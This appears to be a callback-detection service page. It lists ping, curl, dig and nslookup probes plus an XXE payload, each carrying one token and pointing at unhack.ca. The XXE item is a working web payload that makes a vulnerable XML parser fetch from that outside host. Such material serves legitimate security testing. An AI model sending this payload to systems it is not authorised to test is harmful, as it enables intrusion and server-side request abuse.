$ ping -c1 -p 00a37aa14e171ffb3f3d15a934e7e600 unhack.ca
 

$ curl http://unhack.ca/p/a37aa14e171ffb3f3d15a934e7e6
 

$ dig a37aa14e171ffb3f3d15a934e7e6 @unhack.ca
 

$ dig a37aa14e171ffb3f3d15a934e7e6.ns.unhack.ca
 

C:\> nslookup a37aa14e171ffb3f3d15a934e7e6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a37aa14e171ffb3f3d15a934e7e6">]>
    <foo>&xxe;</foo>